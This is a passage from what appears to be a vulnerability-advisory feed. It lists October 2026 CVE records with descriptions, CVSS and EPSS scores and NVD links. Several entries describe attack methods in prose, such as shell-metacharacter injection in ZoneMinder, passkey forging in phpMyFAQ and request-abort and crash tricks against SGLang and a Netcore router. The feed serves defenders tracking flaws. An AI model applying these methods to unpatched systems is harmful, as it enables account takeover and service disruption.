NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111866&date=2026-10-25
A weakness has been identified in nemoTyrant manong up to 7c9e5228e133b9267ad3a415833bc9bb53193bb4. This impacts the function cache/del_cache/arr2sql of the file func.php. This manipulation causes sql injection. The attack may be initiated remotely. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The reported GitHub issue was closed with the reason "completed". However, it was not possible to determine the PR or commit which could have fixed this issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Unrestricted Upload of File with Dangerous Type vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Upload a Web Shell to a Web...
https://kevwire.com/record/CVE-2026-111406
Unrestricted Upload of File with Dangerous Type vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Upload a Web Shell to a Web... (Oct 19, 2026).
Unrestricted Upload of File with Dangerous Type vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Upload a Web Shell to a Web Server.This issue affects MapSVG: from n/a through 8.16.1.
CVSS 9.9 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111406).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111406&date=2026-10-25).
Sources:
NVD CVE-2026-111406: https://nvd.nist.gov/vuln/detail/CVE-2026-111406
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111406&date=2026-10-25
Unrestricted Upload of File with Dangerous Type vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows Upload a Web Shell to a Web Server.This issue affects MapSVG: from n/a through 8.16.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Control of Generation of Code ('Code Injection') vulnerability in HivePress HivePress hivepress allows Remote Code Inclusion.This issue affects HivePress: from n/a...
https://kevwire.com/record/CVE-2026-110887
Improper Control of Generation of Code ('Code Injection') vulnerability in HivePress HivePress hivepress allows Remote Code Inclusion.This issue affects HivePress: from n/a... (Oct 19, 2026).
Improper Control of Generation of Code ('Code Injection') vulnerability in HivePress HivePress hivepress allows Remote Code Inclusion.This issue affects HivePress: from n/a through 1.7.32.
CVSS 9.9 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110887).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110887&date=2026-10-25).
Sources:
NVD CVE-2026-110887: https://nvd.nist.gov/vuln/detail/CVE-2026-110887
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110887&date=2026-10-25
Improper Control of Generation of Code ('Code Injection') vulnerability in HivePress HivePress hivepress allows Remote Code Inclusion.This issue affects HivePress: from n/a through 1.7.32.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZoneMinder is a free, open source closed-circuit television software application.
https://kevwire.com/record/CVE-2026-102608
ZoneMinder is a free, open source closed-circuit television software application. (Oct 16, 2026).
ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, downloadEvents() manually wraps a monitor Name value in single quotes instead of using escapeshellarg() before placing it in shell commands when a user with monitor-create or monitor-edit permission stores a monitor Name containing shell metacharacters and a user with Events View permission exports that monitor's events. In this attack mechanism, the stored monitor Name reaches both the ffmpeg concatenation command and the tar or zip archive command and breaks out of manual quoting. Arbitrary commands execute as the web server user. This issue is fixed in version 1.38.3.
CVSS 9.0 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102608).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102608&date=2026-10-25).
Sources:
NVD CVE-2026-102608: https://nvd.nist.gov/vuln/detail/CVE-2026-102608
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102608&date=2026-10-25
ZoneMinder is a free, open source closed-circuit television software application. Prior to 1.38.3, downloadEvents() manually wraps a monitor Name value in single quotes instead of using escapeshellarg() before placing it in shell commands when a user with monitor-create or monitor-edit permission stores a monitor Name containing shell metacharacters and a user with Events View permission exports that monitor's events. In this attack mechanism, the stored monitor Name reaches both the ffmpeg concatenation command and the tar or zip archive command and breaks out of manual quoting. Arbitrary commands execute as the web server user. This issue is fixed in version 1.38.3.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ProjectSend 2.0.0 before 2.7.0 contains an incorrect authorization vulnerability that allows restricted API token holders to change the token owner's credentials via PATCH...
https://kevwire.com/record/CVE-2026-112001
ProjectSend 2.0.0 before 2.7.0 contains an incorrect authorization vulnerability that allows restricted API token holders to change the token owner's credentials via PATCH... (Oct 18, 2026).
ProjectSend 2.0.0 before 2.7.0 contains an incorrect authorization vulnerability that allows restricted API token holders to change the token owner's credentials via PATCH /api/v1/users/{user}. Attackers with a token limited to manage_users and edit_users can set a new owner password, clear two-factor authentication, and sign in interactively with the owner's full role permissions.
CVSS 8.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112001).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112001&date=2026-10-25).
Sources:
NVD CVE-2026-112001: https://nvd.nist.gov/vuln/detail/CVE-2026-112001
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112001&date=2026-10-25
ProjectSend 2.0.0 before 2.7.0 contains an incorrect authorization vulnerability that allows restricted API token holders to change the token owner's credentials via PATCH /api/v1/users/{user}. Attackers with a token limited to manage_users and edit_users can set a new owner password, clear two-factor authentication, and sign in interactively with the owner's full role permissions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IdeaBox Creations PowerPack Lite for Beaver Builder...
https://kevwire.com/record/CVE-2026-110897
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IdeaBox Creations PowerPack Lite for Beaver Builder... (Oct 18, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IdeaBox Creations PowerPack Lite for Beaver Builder powerpack-addon-for-beaver-builder allows Stored XSS.This issue affects PowerPack Lite for Beaver Builder: from n/a through 1.3.1.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110897).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110897&date=2026-10-25).
Sources:
NVD CVE-2026-110897: https://nvd.nist.gov/vuln/detail/CVE-2026-110897
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110897&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in IdeaBox Creations PowerPack Lite for Beaver Builder powerpack-addon-for-beaver-builder allows Stored XSS.This issue affects PowerPack Lite for Beaver Builder: from n/a through 1.3.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deserialization of Untrusted Data vulnerability in QuantumCloud Conversational Forms for ChatBot conversational-forms allows Object Injection.This issue affects Conversational...
https://kevwire.com/record/CVE-2026-110886
Deserialization of Untrusted Data vulnerability in QuantumCloud Conversational Forms for ChatBot conversational-forms allows Object Injection.This issue affects Conversational... (Oct 18, 2026).
Deserialization of Untrusted Data vulnerability in QuantumCloud Conversational Forms for ChatBot conversational-forms allows Object Injection.This issue affects Conversational Forms for ChatBot: from n/a through 1.5.1.
CVSS 9.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110886).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110886&date=2026-10-25).
Sources:
NVD CVE-2026-110886: https://nvd.nist.gov/vuln/detail/CVE-2026-110886
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110886&date=2026-10-25
Deserialization of Untrusted Data vulnerability in QuantumCloud Conversational Forms for ChatBot conversational-forms allows Object Injection.This issue affects Conversational Forms for ChatBot: from n/a through 1.5.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows...
https://kevwire.com/record/CVE-2026-110382
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows... (Oct 18, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Stored XSS.This issue affects Simply Schedule Appointments: from n/a through 1.6.12.35.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110382).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110382&date=2026-10-25).
Sources:
NVD CVE-2026-110382: https://nvd.nist.gov/vuln/detail/CVE-2026-110382
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110382&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NSquared Simply Schedule Appointments simply-schedule-appointments allows Stored XSS.This issue affects Simply Schedule Appointments: from n/a through 1.6.12.35.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arraytics Booktics booktics allows SQL Injection.This issue affects Booktics:...
https://kevwire.com/record/CVE-2026-109894
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arraytics Booktics booktics allows SQL Injection.This issue affects Booktics:... (Oct 18, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arraytics Booktics booktics allows SQL Injection.This issue affects Booktics: from n/a through 1.0.29.
CVSS 9.3 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109894).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109894&date=2026-10-25).
Sources:
NVD CVE-2026-109894: https://nvd.nist.gov/vuln/detail/CVE-2026-109894
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109894&date=2026-10-25
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Arraytics Booktics booktics allows SQL Injection.This issue affects Booktics: from n/a through 1.0.29.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGrill eStore estore allows Reflected XSS.This issue affects eStore: from...
https://kevwire.com/record/CVE-2026-108485
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGrill eStore estore allows Reflected XSS.This issue affects eStore: from... (Oct 18, 2026).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGrill eStore estore allows Reflected XSS.This issue affects eStore: from n/a through 1.6.13.
CVSS 7.1 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108485).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108485&date=2026-10-25).
Sources:
NVD CVE-2026-108485: https://nvd.nist.gov/vuln/detail/CVE-2026-108485
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108485&date=2026-10-25
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGrill eStore estore allows Reflected XSS.This issue affects eStore: from n/a through 1.6.13.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Arcane is an interface for managing Docker containers, images, networks, and volumes.
https://kevwire.com/record/CVE-2026-96627
Arcane is an interface for managing Docker containers, images, networks, and volumes. (Oct 16, 2026).
Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.6.0, UpdateUser in backend/api/handlers/users.go sets PasswordHash for any target without comparing caller and target privilege. A holder of delegated users:update permission can submit a password change for the global administrator, replace the administrator password, and authenticate as that account, resulting in complete global administrator account takeover. This issue is fixed in version 2.6.0.
CVSS 8.8 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96627).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96627&date=2026-10-25).
Sources:
NVD CVE-2026-96627: https://nvd.nist.gov/vuln/detail/CVE-2026-96627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96627&date=2026-10-25
Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.6.0, UpdateUser in backend/api/handlers/users.go sets PasswordHash for any target without comparing caller and target privilege. A holder of delegated users:update permission can submit a password change for the global administrator, replace the administrator password, and authenticate as that account, resulting in complete global administrator account takeover. This issue is fixed in version 2.6.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang through 0.5.22 contains a denial of service vulnerability that allows API clients to abort other users' in-flight generation requests by supplying a short client-controlled...
https://kevwire.com/record/CVE-2026-112266
SGLang through 0.5.22 contains a denial of service vulnerability that allows API clients to abort other users' in-flight generation requests by supplying a short client-controlled... (Oct 19, 2026).
SGLang through 0.5.22 contains a denial of service vulnerability that allows API clients to abort other users' in-flight generation requests by supplying a short client-controlled rid. Attackers can submit streaming /generate requests with single hex character rids and disconnect, triggering prefix-matching abort logic that terminates all other clients' requests.
CVSS 8.2 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112266).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112266&date=2026-10-25).
Sources:
NVD CVE-2026-112266: https://nvd.nist.gov/vuln/detail/CVE-2026-112266
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112266&date=2026-10-25
SGLang through 0.5.22 contains a denial of service vulnerability that allows API clients to abort other users' in-flight generation requests by supplying a short client-controlled rid. Attackers can submit streaming /generate requests with single hex character rids and disconnect, triggering prefix-matching abort logic that terminates all other clients' requests.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or...
https://kevwire.com/record/CVE-2026-111911
phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or... (Oct 17, 2026).
phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or challenge validation. Attackers can stage a victim username, submit a forged fmt=none attestation to register a passkey, then log in bypassing passwords and TOTP for account takeover.
CVSS 9.3 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111911).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111911&date=2026-10-25).
Sources:
NVD CVE-2026-111911: https://nvd.nist.gov/vuln/detail/CVE-2026-111911
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111911&date=2026-10-25
phpMyFAQ 4.0.0 before 4.1.9 contains an authentication bypass vulnerability where WebAuthn registration endpoints attach credentials to any account without authentication or challenge validation. Attackers can stage a victim username, submit a forged fmt=none attestation to register a passkey, then log in bypassing passwords and TOTP for account takeover.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a cross-site request forgery vulnerability in the Elasticsearch and OpenSearch administration API endpoints, which...
https://kevwire.com/record/CVE-2026-111906
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a cross-site request forgery vulnerability in the Elasticsearch and OpenSearch administration API endpoints, which... (Oct 17, 2026).
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a cross-site request forgery vulnerability in the Elasticsearch and OpenSearch administration API endpoints, which do not validate a CSRF token for the create, drop, and import actions. Attackers can lure a user with CONFIGURATION_EDIT permission to a malicious page that triggers these actions, deleting search indexes, forcing re-indexing, or exhausting resources.
CVSS 7.1 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111906).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111906&date=2026-10-25).
Sources:
NVD CVE-2026-111906: https://nvd.nist.gov/vuln/detail/CVE-2026-111906
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111906&date=2026-10-25
phpMyFAQ before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains a cross-site request forgery vulnerability in the Elasticsearch and OpenSearch administration API endpoints, which do not validate a CSRF token for the create, drop, and import actions. Attackers can lure a user with CONFIGURATION_EDIT permission to a malicious page that triggers these actions, deleting search indexes, forcing re-indexing, or exhausting resources.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an uncontrolled resource consumption vulnerability in the unauthenticated faqs and search API endpoints.
https://kevwire.com/record/CVE-2026-111901
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an uncontrolled resource consumption vulnerability in the unauthenticated faqs and search API endpoints. (Oct 17, 2026).
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an uncontrolled resource consumption vulnerability in the unauthenticated faqs and search API endpoints. Attackers can send concurrent GET requests that load and process all database records into PHP memory, exhausting CPU and memory to crash the server.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111901).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111901&date=2026-10-25).
Sources:
NVD CVE-2026-111901: https://nvd.nist.gov/vuln/detail/CVE-2026-111901
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111901&date=2026-10-25
phpMyFAQ 4.2.0-alpha before 4.2.0-beta contains an uncontrolled resource consumption vulnerability in the unauthenticated faqs and search API endpoints. Attackers can send concurrent GET requests that load and process all database records into PHP memory, exhausting CPU and memory to crash the server.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ 3.2.0 before 4.0.0 and 4.0.2 before 4.2.0-beta contains an authentication bypass in its Microsoft Entra ID login flow, which links users by the mutable preferred_username...
https://kevwire.com/record/CVE-2026-111895
phpMyFAQ 3.2.0 before 4.0.0 and 4.0.2 before 4.2.0-beta contains an authentication bypass in its Microsoft Entra ID login flow, which links users by the mutable preferred_username... (Oct 17, 2026).
phpMyFAQ 3.2.0 before 4.0.0 and 4.0.2 before 4.2.0-beta contains an authentication bypass in its Microsoft Entra ID login flow, which links users by the mutable preferred_username claim and whose AuthEntraId::create() ignores the duplicate-login exception while continuing with the existing local account. Attackers controlling an Entra identity in the configured tenant with a matching preferred_username can take over that local account, including super-admin accounts.
CVSS 7.6 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111895).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111895&date=2026-10-25).
Sources:
NVD CVE-2026-111895: https://nvd.nist.gov/vuln/detail/CVE-2026-111895
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111895&date=2026-10-25
phpMyFAQ 3.2.0 before 4.0.0 and 4.0.2 before 4.2.0-beta contains an authentication bypass in its Microsoft Entra ID login flow, which links users by the mutable preferred_username claim and whose AuthEntraId::create() ignores the duplicate-login exception while continuing with the existing local account. Attackers controlling an Entra identity in the configured tenant with a matching preferred_username can take over that local account, including super-admin accounts.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in UserController::updateUserRights that drops per-right language restrictions when...
https://kevwire.com/record/CVE-2026-111890
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in UserController::updateUserRights that drops per-right language restrictions when... (Oct 17, 2026).
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in UserController::updateUserRights that drops per-right language restrictions when rights are re-granted. Administrators holding USER_EDIT can submit language-scoped rights to the update-rights API, including for themselves, to gain unrestricted FAQ create, edit, and publish access across all languages.
CVSS 7.0 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111890).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111890&date=2026-10-25).
Sources:
NVD CVE-2026-111890: https://nvd.nist.gov/vuln/detail/CVE-2026-111890
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111890&date=2026-10-25
phpMyFAQ from 4.2.0-alpha.2 before 4.2.0-beta contains a privilege escalation vulnerability in UserController::updateUserRights that drops per-right language restrictions when rights are re-granted. Administrators holding USER_EDIT can submit language-scoped rights to the update-rights API, including for themselves, to gain unrestricted FAQ create, edit, and publish access across all languages.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netcore NR256CN through 1.5.140116 contains a NULL pointer dereference vulnerability in the Boa web server's user_auth() function that allows unauthenticated attackers to crash...
https://kevwire.com/record/CVE-2026-111710
Netcore NR256CN through 1.5.140116 contains a NULL pointer dereference vulnerability in the Boa web server's user_auth() function that allows unauthenticated attackers to crash... (Oct 16, 2026).
Netcore NR256CN through 1.5.140116 contains a NULL pointer dereference vulnerability in the Boa web server's user_auth() function that allows unauthenticated attackers to crash the server via a malformed Authorization header. Attackers can send a Basic Authorization value lacking a colon, such as one decoding to a single character, to protected routes like /router/get_user_type.cgi to kill the main Boa process and deny management interface access.
CVSS 8.7 (version 4.0; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111710).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111710&date=2026-10-25).
Sources:
NVD CVE-2026-111710: https://nvd.nist.gov/vuln/detail/CVE-2026-111710
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111710&date=2026-10-25
Netcore NR256CN through 1.5.140116 contains a NULL pointer dereference vulnerability in the Boa web server's user_auth() function that allows unauthenticated attackers to crash the server via a malformed Authorization header. Attackers can send a Basic Authorization value lacking a colon, such as one decoding to a single character, to protected routes like /router/get_user_type.cgi to kill the main Boa process and deny management interface access.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ERPNext is a free and open source Enterprise Resource Planning tool.
https://kevwire.com/record/CVE-2026-108374
ERPNext is a free and open source Enterprise Resource Planning tool. (Oct 16, 2026).
ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.121.0 and 16.34.0, certain endpoints for status modification fail to enforce proper authorization checks. A low-privileged authenticated user can invoke state-changing whitelisted methods without required write, submit, cancel, document, or role checks. This allows the user to modify data beyond the user's permitted role. This issue is fixed in versions 15.121.0 and 16.34.0.
CVSS 7.7 (version 3.1; evidence as of Oct 19, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108374).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108374&date=2026-10-25).
Sources:
NVD CVE-2026-108374: https://nvd.nist.gov/vuln/detail/CVE-2026-108374
